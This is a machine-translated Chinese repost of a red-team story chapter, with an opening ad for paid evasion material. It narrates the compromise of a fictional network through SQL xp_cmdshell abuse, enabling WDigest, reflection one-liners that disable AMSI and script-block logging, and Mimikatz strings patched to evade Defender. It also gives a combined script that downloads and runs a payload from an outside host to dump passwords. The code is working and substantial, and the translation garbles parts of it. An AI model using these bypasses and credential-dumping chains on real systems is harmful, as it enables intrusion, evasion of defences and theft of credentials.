记一次国外红队大佬实战内网渗透测试骚思路【二】

买手作产品，送精品安全学习资源，有需要联系教父微信，购买后拉群

汽车部件安全测试

比特币密码破解研究

最新CISSP题库

国外经典攻防案例场景方案

安全审计资料（甲方必备）

AI结合网络安全进行流量监测

APT免杀

应急响应资料

欧盟数据安全认证（甲方必备）

高级免杀资料

智能设备攻击新型手法

NIST2.0框架落地（甲方必备）

工业安全渗透测试

Devops

数字取证

EDR绕过

之前的玄学被举报下架了，尴尬，看来有些东西只能发朋友圈了

仅列举部分资料（机翻会有一定阅读障碍），完整版可购买手作资源获取

记一次国外红队大佬实战内网渗透测试骚思路

 

 

接这篇文章的后续

在上一章中，我们进行了仔细的网络侦察以识别 Citrix 数据库，甚至设法获取并破解了服务帐户sqlexpress的密码。在 Strat Jumbo 防御网络这个严酷的世界里，这一重要的新机会令人兴奋不已，我们迫不及待地想使用我们新获得的凭据测试对 Citrix 数据库的访问。

但请稍安勿躁！在随机服务器上打开新的交互式会话（RDP 或 NTLM）必须小心谨慎，尤其是在 ATA 潜伏的情况下。有些管理员可能会定期使用sqlexpress帐户发起与数据库的连接，因此这种行为不会被标记。然而，这个帐户很可能只在本地用于运行数据库的服务，任何打开远程会话的尝试都会触发大量警报。Strat Jumbo 的命名约定进一步加强了这种怀疑，它清楚地表明所有管理员拥有专门的账户来执行管理任务。幸运的是，有多种方法可以有效地利用这些凭证。

原始 SQL

我们已经确定所有 Active Directory 流量都受到 ATA 和 QRadar 的严密监控。NTLM 和 Kerberos 身份验证是危险的领域，布满了地雷，稍有不慎就会爆炸。幸运的是，SQL 数据库支持另一种身份验证方案，称为本地身份验证，其帐户在数据库级别定义。本地身份验证严格限于数据库本身：不会将任何日志推送到经典的 Windows 事件存储，也不会与 Active Directory 进行交互。由于涉及的复杂性极高，许多公司无法监控此类活动。我们几乎可以肯定可以访问它而不会触发任何警报！

我们获得的sqlexpress帐户绝不是本地帐户；它是用于在计算机上运行数据库进程的 AD 帐户。但是，在设置数据库时，通常会要求管理员为本地数据库管理员帐户（称为sa ）配置密码。此密码通常最终与运行实例的帐户（在本例中为sqlexpress ）的密码相同。换句话说，我们可能只需使用sqlexpress的密码通过本地sa帐户登录 SQL 数据库，然后悄悄进入网络即可。

Jourdan Templeton 编写的简单 PowerShell 脚本sql_cmdlets.psm1 （可在http://bit.ly/2GdxxnJ上找到）可帮助我们测试这一假设。在 PowerShell 窗口中，我们准备一个浏览器对象来将脚本及其命令加载到内存中：

PS X:> $browser = New-Object System.Net.WebClientPS X:> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentialsPS X:> IEX($browser.DownloadString("http://bit.ly/2GdxxnJ"))

现在，我们调用Invoke-SqlCommand刚刚从此脚本加载的，并尝试使用sa帐户和sqlexpress密码连接到我们在第 9 章STRAT-CI-03中标识的数据库。我们将执行一个基本的 SQL Server 命令，以列出数据库：EXEC sp_databases

PS X:> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC sp_databases"DATABASE_NAME   DATABASE_SIZE   REMARKSMaster                   8464Model                    2624Msdb                    14592Testdb                   2560XenDB_PROD       801981181104

太棒了！看来sa帐户确实与sqlexpress帐户共用同一个密码。XenDB_PROD 数据库证实我们确实在 Citrix 数据库上，但我们在这里不需要任何数据；我们只是将其用作枢轴。我们将利用强大的命令直接在服务器上执行命令xp_cmdshell，该命令是所有 SQL 服务器上可用的内置存储过程，可直接在服务器上运行 Windows 命令。该命令在最新版本中默认处于禁用状态，因此我们首先在当前 SQL 服务器上激活该功能：

PS X:> $sql = "EXEC sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure"PS X:> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query $sql

然后我们发送想要执行的命令。让我们从一个简单的net localgroup administrators命令开始，列出当前的本地管理员，并测试一切是否正常工作（清单 10-1）。

PS X:> $command='net localgroup administrators'PS X:> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"Output-----------AdministratorSTRATJUMBODomain adminsSTRATJUMBOsqlexpressSTRATJUMBOstrat_dbadmsSTRATJUMBOcitrix_srv

清单 10-1：获取服务器管理员列表

你知道吗！当前运行数据库进程的sqlexpressSTRAT-CI-03帐户是服务器上本地管理员组的一部分。我们可以在此服务器上执行管理员命令，使其成为 Strat Jumbo 网络中我们真正攻克的第一台服务器。

攻破这个 Citrix 数据库是渗透 Strat Jumbo 深层基础设施的关键一步。还记得我们因防火墙保护而无法从 Citrix 服务器访问的数据库列表吗？这已经是旧闻了。现在我们可以完全访问网络了。

我们可以通过位于更受信任的数据库网络段内的 传输数据包STRAT-CI-03，以到达更多计算机。在这里，我们 ping 曾经无法访问的STRAT-AK-03机器以确认新建立的网络访问：

PS X:> $command='ping /n 1STRAT-AK-03'PS X:> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"Output------Pinging 10.134.0.14 with 32 bytes of data:Reply from 10.134.0.14: Bytes=32 time<1ms TTL=128 8

我们收到了回复，确认网络访问权限。现在，我们如何挖掘由此带来的机会，让我们更接近植入 Strat Accounting 源代码后门的目标？我们知道，我们至少需要对项目存储库的写访问权限才能植入后门。接管开发人员的帐户可能是一种解决方案，但我们很难找到嵌套在 Citrix 数据库中的帐户。我们需要转向更肥沃的土地。

让我们重新看一下清单 10-1net localgroup administrators中的命令的输出。仔细看看，希望你能注意到我看到的内容：

Output-----------AdministratorSTRATJUMBODomain adminsSTRATJUMBOsqlexpressSTRATJUMBOstrat_dbadmsSTRATJUMBOcitrix_srv

该citrix_srv帐户与拥有 Citrix 服务器场管理员权限的 Active Directory 帐户相同。让我们重印第 5 章中在其中一个 Citrix 服务器上net localgroup administrators执行的命令的输出：

PS X:> net localgroup "administrators"Members-------------------------------------------------------AdministratorSTRATJUMBOcitrix_srvSTRATJUMBODomain Admins

相同的账户。相同的密码！

如果我们能够控制这个账户，我们可能就能控制组成 Citrix 场的所有服务器，如果你还记得的话，这些服务器托管着所有开发人员的远程会话。这应该足以让我们访问 Strat Accounting 的源代码。

进入 Mimikatz！

Mimikatz：Windows 的魔术棒

Mimikatz 是一款 Windows 安全工具，由安全研究员 Gentilkiwi 于 2007 年开发，用于探索 Windows 身份验证机制的内部原理。他发现，用户登录 Windows 帐户后，其密码以可逆格式存储在内存中的 LSASS 进程中。利用 Windows 中未记录的函数，Mimikatz 可以解密这些密码并以明文形式显示。

微软后来禁用了可逆密码的自动存储，但将密码的 NT 哈希保留在内存中——由于新技术 LAN 管理器 (NTLM) 身份验证协议的缺陷，这些哈希与纯文本密码一样有效。我们甚至不需要破解这些哈希，只需将它们作为凭据传递即可。这个缺陷是传递哈希、超越哈希、NTLM 中继和其他攻击；本章末尾的“资源”部分包含一个链接，您可以在其中了解更多信息。

用于远程访问的 Citrix 服务器场（如我们当前所针对的服务器场）通常是交互式会话的混合体，因此我们可以使用 Mimikatz 每小时从内存中收集几十个密码。希望其中一些帐户的个人文件夹或浏览器历史记录中有相关文档，以便为项目命名问题提供一些线索。如果我们真的很幸运，我们可能会找到一个可以访问 Strat Accounting 源代码的开发者帐户。

以下是实施这一邪恶计划的关键步骤：

1. 使用 Mimikatz 收集数据库上citrix_srv帐户的密码STRAT-CI-03。
2. 使用citrix_srv帐户在 Citrix 服务器上打开管理会话。
3. 收集全天登录用户内存中的密码，直到我们获得开发者账户。

执行 Mimikatz

让我们解决第一步，即在数据库上运行 Mimikatz。如前所述，在过去十年中，微软通过禁用泄露这些凭据的身份验证提供程序 WDigest 来禁用在内存中存储可逆密码。但是，客人怎么办？我们可以通过创建UseLogonCredential注册表项并为其分配值来轻松地再次启用它。我们在这里使用通过 SQL 过程执行的命令1来执行此操作：reg addxp_cmdshell

PS X:> $command='reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1'PS X:> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"

这样，WDigest 就启用了。下次citrix_srv帐户连接到服务器时，其密码将以可逆格式存储，Mimikatz 可以轻松解密。下一步自然是找到一种方法，通过我们的远程 SQL 访问运行 Mimikatz，而不会被发现。

与之前使用命令简单地加载到内存中的 PowerShell 脚本不同Invoke-Expression，Mimikatz 是用 C 编写的，可以编译为可执行文件 ( .exe ) 或 DLL 文件。有很多方法可以在远程计算机上安全执行二进制文件。一种可能性是基于公共源代码构建我们自己的 Mimikatz 可执行文件，更改一些硬编码字符串，删除多余的模块，然后编译整个文件，得到一个可以在几乎任何地方安全执行的可执行文件。这种方法非常耗费人力，需要维护才能跟上 Mimikatz 的新版本，但它是了解 Mimikatz 内部结构的绝佳方法。( @Skelsec，在一次艰巨的壮举中，关于将 Mimikatz 移植到 Python：请访问https://github.com/skelsec/pypykatz/查看）。

许多人喜欢的第二种选择是使用原始的 Mimikatz 可执行文件并将其直接加载到内存中，因为大多数安全解决方案都无法有效地监视和扫描内存区域。但是，在内存中加载可执行文件并不像Invoke-Expression在 PowerShell 中那样简单。正在运行的进程与磁盘上的可执行文件并不完全相同：需要重新计算许多地址，需要加载导入的 DLL 及其函数，需要将代码和数据部分映射到特定的偏移量，等等。这是一个相当微妙的过程，已被广泛研究并重新用于反病毒逃避。反射 DLL 注入可能是内存执行的最常见实现，它遵循完全相同的步骤：它在正确的内存部分中加载二进制块，计算变量和函数的绝对地址，加载其他 DLL 并解析其函数的地址，等等。当一切设置好后，通过创建指向现在内存中可执行文件的入口点的新线程来触发执行。（有关此技术的进一步了解，请参阅“资源”部分。）

早在 2013 年，安全工程师 Joe “clymb3r” Bialek 就发布了 PowerShell 脚本的第一个公开版本，该脚本使用反射式 DLL 注入将 Mimikatz DLL 直接注入内存。他的脚本Invoke-Mimikatz仍然是执行 Mimikatz 最可靠的方法之一。但是，此脚本将 Mimikatz DLL 的内容硬编码在局部变量中，因此我们需要修改原始脚本并将硬编码的可执行文件替换为较新版本的 Mimikatz，或者从 Empire 存储库https://bit.ly/3umNW1A获取完全更新的脚本Invoke-Mimikatz.ps1。我们选择后者。

让我们在实验室中一台类似于 Citrix 数据库的机器上测试这个脚本。我们使用经典的 PowerShellInvoke-Expression命令来加载Invoke-Mimikatz脚本，然后执行脚本在内存中热加载 Mimikatz：

PS C:Lab > $browser = New-Object System.Net.WebClientPS C:Lab > $file="https://sf-res.com/Invoke-mimi.ps1"PS C:Lab > IEX($browser.DownloadString($file))IEX : At line:1 char:1+ function Invoke-Mimikatz+ ~~~~~~~~~~~~~~~~~~~~~~~~This script contains malicious content and has been blocked by your antivirus software...

嗯？！它还是会被 Windows Defender 发现！还记得安全专家曾经大声而有些傲慢地宣称防病毒产品只能扫描磁盘上的文件，因此很容易被绕过吗？试着在今天的黑客会议上这样说，而不会有人向你推销某些“下一代”产品的宣传册。自 Windows 10 和 Server 2016 发布以来，甚至微软也通过引入名为 AMSI 的原生功能提升了其竞争力。正如第 8 章中简要提到的，AMSI 是一个可以拦截脚本命令的引擎在执行之前，将其发送给防病毒软件进行分析。脚本是从磁盘、注册表还是内存加载并不重要，因为 AMSI 作用于脚本引擎级别。这也意味着经典的混淆技术（如 base64 和运行时加密）只能在一定程度上提供帮助，并且根据底层防病毒软件的签名模型，无法保证免受检测。

AMSI 也是我坚持从原始 PowerView 和脚本中删除任何多余命令和可疑字符串的原因Invoke-Kerberoast。现在是时候让我们一劳永逸地公开解决这个棘手问题了。

打击 AMSI

我们需要绕过 AMSI 才能将 Mimikatz 加载到内存中。由于我们是机器上的管理员，因此我们可以使用内置Set-MpPreference命令（仅在提升模式下可用）禁用 AMSI：

PS C:> Set-MpPreference -DisableIOAVProtection $true

但是，如果我们执行此命令，我们应该预期事件 ID 为 5100 的日志消息将被转发到 QRadar SIEM，该 SIEM 可以（而且肯定应该）监控这些警报。不要太隐秘。

幸运的是，我们还有其他选择，可以减少噪音。其中一个是由 Matt Graeber 设计的，他利用万能的反射技术，想出了一个一行命令来禁用 AMSI，并在 Twitter 上发布了该命令（当然，后来被删除了，但如图 10-1所示）。

另一个选项可以在https://github.com/samratashok/nishang/上有趣的绕过汇编（由 Sam Ratashok 提供）中找到，位于Bypass文件夹下的文件Invoke-AmsiBypass.ps1中。

Matt Graeber 的技术依赖于一个有趣的观察：在初始化 AMSI 时，该类AmsiUtils会检查变量amsiInitFailed，该变量包含一个布尔值，告诉我们所有模块是否已正确加载。如果我们使用反射将此变量设置为，我们可以说服 AMSI 它加载失败，从而有效地在 PowerShell 会话的其余部分禁用它。最好的部分是这个技巧不需要管理员权限。我们首先通过调用方法True获取对该类的引用，就像我们在第 8 章中禁用 PowerShell 日志记录一样：AmsiUtils[Ref].Assembly.GetType

PS C:> $utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')

然后我们获取对属性的引用amsiInitFailed并将其设置为True。我们加入一些字符串连接以避免任何依赖于简单模式匹配的检测：

PS C:> $field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')PS C:> $field.SetValue($null,$true)

按照这些命令，仍然在我们的实验室中，我们尝试使用脚本再次在内存中加载 Mimikatz （如清单 10-2Invoke-Mimikatz所示）。

PS C:Lab> $browser = New-Object System.Net.WebClientPS C:Lab> $file="https://sf-res.com/Invoke-mimi.ps1"PS C:Lab> IEX($browser.DownloadString($file))PS C:Lab> Invoke-Mimikatz  .#####.   mimikatz 2.2.0 (x64) #19041 Oct  4 2020 10:28:51 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ## /  ##  /*** Benjamin DELPY `gentilkiwi ##  / ##       > https://blog.gentilkiwi.com/mimikatz '## v ##'       Vincent LE TOUX  '#####'        > https://pingcastle.comAuthentication Id : 0 ; 1373617 (00000000:0014f5b1)Session           : Interactive from 1User Name         : administratorDomain            : LABLogon Time        : 03/01/2021 11:13:11SID               : S-1-5-21-1818376838-2334902-1555214-1002        msv :         [00000003] Primary         * Username : administrator         * Domain   : LAB         * NTLM     : d03fe67884dfeabc43f48a67fdcefcaa--snip--

示例 10-2：禁用 AMSI 后成功执行 Mimikatz

终于成功了。我们设法禁用了 AMSI，并准备在测试机上使用 Mimikatz 收集密码。现在我们可以继续在 Strat Jumbo 的数据库上执行我们的脚本。但是，如果你这样做，你会发现在较新的 Windows 版本（例如 Windows 10 Desktop 10.0.18363）上重放同一个脚本会导致 Defender 发出一个小警报，这可能会破坏你最喜欢的甜点。只有当执行转移到 Mimikatz 时才会弹出警报，所以它可能与脚本无关Invoke-Mimikatz。对于防病毒软件来说，这是一种奇怪的行为，所以为了安全起见，让我们确定是什么可以触发该警报并找到解决方法。

识别罪魁祸首

确定杀毒软件警报的确切触发时间总是很棘手，但我们可以尝试通过以下方式确定 Defender 发出警报的确切时间：使用 x64dbg ( https://x64dbg.com/ )等调试器的可信服务。调试器将帮助我们检查 CPU 执行的每条指令，并希望找到触发 Defender 的原因。

我们肯定需要多次激怒 Defender，以便放大有问题的指令。为了加快这一过程，我们将禁用 Defender 删除 Mimikatz 的功能；这样我们就可以快速地反复从 x64dbg 重新加载二进制文件，而不必每次都下载新版本、解压等等。

为此，我们将 Mimikatz 可执行文件放入另一台计算机上托管的共享文件夹中。当我们将其安装在实验室机器上时，此共享文件夹将仅支持读取访问。即使是我们计算机上最有权限的管理员也无法更改此远程文件夹的内容，因为权限受到远程计算机的限制。

接下来，我们使用标准 File ▶ Open 菜单命令将 Mimikatz 加载到调试器中，并让其运行而不会中断它。这是一个简单的内存执行，仍然会让 Defender 发出抱怨，但至少我们很高兴现在看到弹出警报。这意味着我们的场景虽然不完全忠实于使用Invoke-Mimikatz.ps1进行反射加载，但仍然具有足够的相似性，使我们的调查值得。

我们在调试器中重新启动 Mimikatz（调试▶重新启动），但这次我们小心翼翼地跨过每条指令（F8），直到我们缓慢而痛苦地放大与 Defender 发出警报相吻合的代码区域。经过几次试验和错误，我们发现，每次 CPU 落在图 10-2所示的代码区域的某个位置时，Defender 就会发出警报。

您无需成为逆向专家就能猜出这几行代码的作用。如果您查看图的右侧，您会注意到 Mimikatz 启动时显示的一组熟悉的字符串。这是显示我们熟悉的传统 Mimikatz 欢迎消息的代码；这些字符串很可能作为触发器存储在 Defender 中。进一步调查发现了触发 Defender 的另一个区域：Mimikatz 开始加载其模块和命令的部分（sekurlsa、logonpasswords等等）。基本上，Defender 的内存扫描只是执行其基于磁盘的组件和每个该死的防病毒软件所做的操作：字符串匹配。

逃避字符串匹配

如果我们可以在 Mimikatz 中反射加载之前更改其中的一些罪证字符串，我们就可以完全绕过 Defender。当然，我们可以在源代码级别更改字符串，但这样我们就必须手动跟踪每个新版本。对这些字符串进行热修补本身要容易得多Invoke-Mimikatz。这正是我在https://sf-res.com/Invoke-mimi.ps1提供的自定义脚本中所做的。

滚动到第 2555 行，即字符串改变开始的地方，我将向您讲解代码。

我们首先定义一个关键字列表及其新的无害替代项。这些替换字符串应具有相同的长度，以避免改变二进制文件的结构。我从https://github.com/ayoul3/reflect-pe/上的 Reflect-pe 项目借用了一个有问题的关键字列表，该项目使用相同的技术在内存中加载任意可执行文件。完整列表包含 14 个需要替换的关键关键字。在此示例中，我仅显示两个关键字mimikatz和gentilwiki，以及它们的新无害替代项：

$hash = @{"mimikatz" = "yolokity", "gentilkiwi" = "miniorange"}

接下来，我们准备编码过滤器，以便将字符串正确格式化为字节数组。Unicode 是 Windows 上的默认设置，因此看起来像的字符串mimi实际上存储为x00mx00ix00mx00i。[system.Text.Encoding]::Unicode该类将帮助我们将常规字符串转换为 Unicode 字节数组。

但是，有一个问题：PowerShell 仅支持字符串上的 match 和 replace 方法，因此我们需要将数组转换回字符串。更复杂的是，.NET 的另一个聪明之处是，x00在常规字符串转换过程中会丢失字节。例如，Unicodex00m被转换为单字节字母m，这会取代二进制文件中的偏移量并破坏结构。因此，我们需要使用一种称为 ISO/28591 的特殊编码来保留这些宝贵的x00字节，从而可以在不截断的情况下从字符串转换为字节。清单 10-3给出了遍历我们的罪证词列表并将每个词替换为新的无害版本的代码：

$uni = [system.Text.Encoding]::Unicode$Encoder = [System.Text.Encoding]::GetEncoding(28591)❶ $binary_text = $Encoder.GetString($PEBytes)❷ $hash.Keys | ForEach-Object {  $old = $Encoder.GetString($uni.GetBytes($_))  $new = $Encoder.GetString($uni.GetBytes($hash.Item($_)))   $ binary_text = $ binary_text -replace $old, $new}# We convert the result back to an array of bytes$PEBytes = $Encoder.GetBytes($binary_text)

清单 10-3：混淆代码

在前两行中，我们准备了 Unicode 和 ISO/28591 编码器；然后我们将最初存储为字节数组的 Mimikatz 二进制文件加载到名为❶ 的PEBytes字符串中。我们循环遍历要替换❷的关键字数组，将它们转换为 Unicode，然后使用 ISO/28591 获取它们的字符串表示形式，然后在 PowerShell 中执行经典的字符串替换。$binary_text

该死的 PowerShell，以及它不必要的复杂性……但好消息是，它有效。让我们尝试一下。

您会注意到，在Invoke-mimi.ps1脚本中，大约在第 2610 行，我们用 和替换了常用命令sekrulsa和，因此自然我们需要在调用新的 时观察到这一变化：logonpasswordssekelssaPasslogonwordsInvoke-Mimikatz

$browser = New-Object System.Net.WebClientPS C:Lab> $file="https://sf-res.com/Invoke-mimi.ps1"PS C:Lab> IEX($browser.DownloadString($file))PS C:Lab> Invoke-Mimikatz -command "privilege::debug sekelssa:: Passlogonwords"

当我们执行这个新版本时Invoke-Mimikatz，我们没有收到来自 Defender 的任何提示。

最终脚本

回顾一下，当我们结合脚本块日志绕过例程、禁用 AMSI 和混淆的Invoke-Mimikatz脚本时，结果看起来类似于清单 10-4。

$utils = [ref].Assembly.GetType('System.Management.Automation.Utils') ❶$dict = $utils."GetF`Ield"('cachedGroupPolicySettings', 'NonP'+'ublic,Static')$key = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBl"+"ockLogging"$dict.getValue("")[$key]['EnableS'+'criptBlockLogging'] = 0# Disable AMSI$utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils') ❷$field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')$field.SetValue($null,$true)# Create new browser request$browser = New-Object System.Net.WebClient; ❸# Copy proxy settings$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials; ❹# Download Invoke-mimi.ps1 (mimikatz) and execute it in memoryIEX($browser.DownloadString('https://sf-res.com/Invoke-mimi.ps1')); ❺Invoke-Mimikatz -command "privilege::debug sekelssa:: Passlogonwords";

清单 10-4：脚本块日志绕过例程、禁用 AMSI 和混淆Invoke-Mimikatz 脚本的最终组合

我们首先禁用脚本块日志记录❶，然后禁用前面讨论过的 AMSI❷ 。我们创建一个新的浏览器请求❸，并复制现有的代理设置，以防对传出的互联网请求有一些限制❹。最后，我们下载之前展示的自定义脚本Invoke-mimi.ps1Invoke-Mimikatz ，并在内存中执行它❺。

我想强调的是，每个防病毒绕过都是独一无二的。大多数经典防病毒产品主要依赖于扫描磁盘上的文件，因此Invoke-Mimikatz没有所有这些字符串掩码的原始版本可以正常工作。其他插入 AMSI 的产品将能够捕获脚本命令，因此您必须在进行任何恶作剧之前禁用 AMSI。其他产品，如 Defender，似乎会挂接一些系统事件并扫描输入缓冲区以查找列入黑名单的字符串。还有一种更高级的防病毒软件可以监控整个系统行为，但稍后会详细介绍。

执行脚本

现在我们已经解决了 Defender 问题，让我们回到原来的计划：在 Citrix 数据库上运行 Mimikatz 以转储citrix_srv的密码。

在数据库上远程执行脚本的常用方法是首先用 base64 对其进行编码，然后xp_cmdshell使用以下命令启动它：

Sql> EXEC xp_cmdshell "powershell.exe -enc <encoded_script>"

虽然这是一种可靠的方法，可以减轻在 PowerShell 上转义引号和括号所带来的许多麻烦，但许多恶意软件程序广泛使用它，使该命令成为明显的危险信号，受到许多安全产品的积极监控。因此，我认为值得使用另一种技术来实现相同的结果。

我们不会将脚本存储在文件或注册表中或以 base64 进行编码，而是使用以下命令将其存储在远程数据库上的环境变量中set：

PS X:> $command="set cmd=$utils=[ref].Assembly.Get[...];Invoke-Mimikatz;"

然后只需从 PowerShell 中检索此变量并使用不太可疑的-command开关执行其内容即可：

PS X:> $command= $command + ' && powershell -command "(get-item Env:cmd).value | iex"'

然后，我们将$command存储有效负载的变量嵌入到 SQL 请求中，并使用以下命令在远程数据库上执行它xp_cmdshell：

PS X:> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"#####.   mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51--snip--       * NTLM: 9fd4a98df7c6a20a6fcdad2453202b3d       * SHA: 678a427defa30ce7cdd1ad814f43d3fc68531d16tspk:wdigest:  * Username: citrix_srv  * Domain  : STRATJUMBO  * Password: Fr1ends!09  --snip--

瞧，我们得到了citrix_srv密码！

收获战利品

现在我们可以获得访问权限并查看可以窃取的内容。我们使用citrix_srv帐户在 Citrix 服务器上打开一个新会话，如图10-3所示。由于我们现在是管理员组的一部分，因此我们不再受 AppLocker 策略的约束，因此也不再受 PowerShell 的受限语言模式的约束。这两个限制都神奇地被解除了——虽然它们并没有给我们带来太多困扰，但从现在起，事情肯定会变得容易得多。

在这个新会话中，我们可以使用大量新应用程序，从 RDP 到文件资源管理器。下一步做什么？例如，我们可以检查 RDP 应用程序中过去或已保存的连接，并将横向传播限制在通常托管属于citrix_srv帐户的交互式会话的计算机，从而逃避 ATA 的异常行为检测。如图 10-3所示，三台服务器的 RDP 连接已固定，因此这些服务器应该是安全目标。我们可以推断，此帐户主要用于管理 XenApp 服务器：STRAT-CI-01、STRAT-CI-02和STRAT-CI-03。这看起来可能不算什么，但我们仍然可以使用另外两台服务器来收集最近连接的用户的密码。

我们继续执行获取开发人员密码计划的最后一步。我们以管理员权限打开 PowerShell 会话STRAT-CI-01，禁用脚本块日志记录和 AMSI，然后再次启动 Mimikatz。以下是我们发现的内容片段：

--snip--* NTLM: 51e88401c8b300abcf3346e4d46a5ce7* SHA: 8d8a26a1381b3d2b9327791e89f1e46cd1708ad2tspk:wdigest:  * Username: mozzy.caffrey  * Domain  : STRATJUMBO  * Password: 12Drumbeat!

虽然花了一段时间，但我们终于开始攻破一些账户了！在接下来的几个小时里，我们又重新启动了几次 Mimikatz，慢慢地为几乎所有的开发组填充了凭证，如表 10-1所示。

为了增加成功率并加快进程，我们在接下来的两台 XenApp 服务器上运行了类似的命令。现在，我们已获得合法开发者帐户的凭据。我们比以往任何时候都更有准备找到 Strat Accounting 项目，并希望利用其中一个帐户引入我们梦寐以求的后门。

原文始发于微信公众号（教父爱分享）：记一次国外红队大佬实战内网渗透测试骚思路【二】